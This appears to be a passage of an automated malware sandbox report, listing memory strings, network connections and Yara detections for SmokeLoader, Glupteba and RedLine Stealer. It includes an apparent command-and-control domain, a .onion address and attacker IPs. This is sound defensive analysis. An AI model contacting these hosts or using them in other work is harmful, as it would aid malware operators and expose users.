Source: explorer.exe, 00000001.00000000.1693759664.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1693759664.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1690955918.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1690421615.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1693759664.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1693759664.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1693759664.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://blockchain.infoindex
Source: explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1691646439.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1691646439.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4105723641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4105723641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000001.00000000.1695614160.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: is-3UH5L.tmp.34.dr	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1691646439.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 00000001.00000000.1695614160.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000000.1695614160.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C012000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4115076867.000000000C072000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.org
Source: C1FD.exe, 0000001B.00000002.4118997725.000000000C0D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orgC:
Source: C1FD.exe, 0000001B.00000002.4118997725.000000000C0B4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orgPATHEXTLOGONSERVER=
Source: C1FD.exe, 00000011.00000002.2223420658.000000000C13E000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4111114419.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onion
Source: C1FD.exe, 0000001B.00000002.4118997725.000000000C0B2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionCommonPr
Source: C1FD.exe, 0000001B.00000002.4112561096.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS
Source: C1FD.exe, 0000002D.00000002.4120993334.000000000C11E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionSELECT
Source: C1FD.exe, 00000011.00000002.2223420658.000000000C140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionSoftware
Source: C1FD.exe, 00000011.00000002.2220289912.000000000C070000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionhttps://
Source: C1FD.exe, 0000001B.00000002.4118997725.000000000C09E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttps://statscreate.orgRegQueryValueExWUUIDGetEnvironmentStringsWCOMPUTERNAME
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C012000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttps://statscreate.orgRegQueryValueExWUUIDGetExitCodeProcess
Source: C1FD.exe, 00000011.00000002.2220289912.000000000C016000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttps://statscreate.orgRegQueryValueExWhttps://statscreate.orgUUIDUUIDPGDSEPG
Source: 76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4105723641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://trac.torproject.org/projects/tor/ticket/14917.
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://turnitin.com/robot/crawlerinfo.html)cannot
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1695614160.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1695614160.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: 826E.exe, 00000008.00000002.2919721623.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000002.2919863680.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2913568147.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033448721.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033448721.0000000000CB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: is-H37D9.tmp.34.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1691646439.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1691646439.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
Source: is-H37D9.tmp.34.dr	String found in binary or memory: https://www.ssl.com/repository0
Source: 76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4105723641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/
Source: csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921

Source: unknown	HTTPS traffic detected: 209.58.180.90:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.45.142:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.185.93:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 86.59.21.38:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.188.40.189:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.50.191.95:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.23.244.244:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.15.142.0:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.13.164.118:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.36.38.33:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.201.94.113:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 50.7.8.141:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.249.230.155:443 -> 192.168.2.4:49959 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 48.2.cwischf.2490e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.AF9D.exe.25e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NBHEkIKDCr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.2.cwischf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NBHEkIKDCr.exe.2490e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.NBHEkIKDCr.exe.24a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.faischf.9c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.3.cwischf.24a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.AF9D.exe.a30e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.faischf.9b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.faischf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.AF9D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1639239838.00000000024A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703049912.00000000025E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2424591742.00000000025C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2160387190.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.2373486814.00000000024A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1702972838.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1944561825.00000000023C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1893386944.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2160447773.0000000002611000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2424546841.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1944361453.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2109020648.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\826E.exe

Code function: 8_2_006FC4E0 BitBlt,SelectObject,GetDC,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,DeleteObject,

8_2_006FC4E0

E-Banking Fraud

Yara detected Glupteba

Source: Yara match	File source: 27.3.C1FD.exe.36a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.C1FD.exe.36a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.C1FD.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.3.C1FD.exe.38c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C1FD.exe.2db0e67.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.C1FD.exe.2fd0e67.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.C1FD.exe.2db0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C1FD.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.C1FD.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 3164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 4008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 676, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000030.00000002.2424496657.0000000002490000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000010.00000002.2160182132.0000000000A30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1703049912.00000000025E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000E.00000002.2096970899.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000030.00000002.2424591742.00000000025C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.3033410607.0000000000C1D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1702932783.0000000002490000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000003.00000002.1944472325.00000000009ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1944344565.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000006.00000002.1984503860.0000000002557000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.2160255945.0000000000A5D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
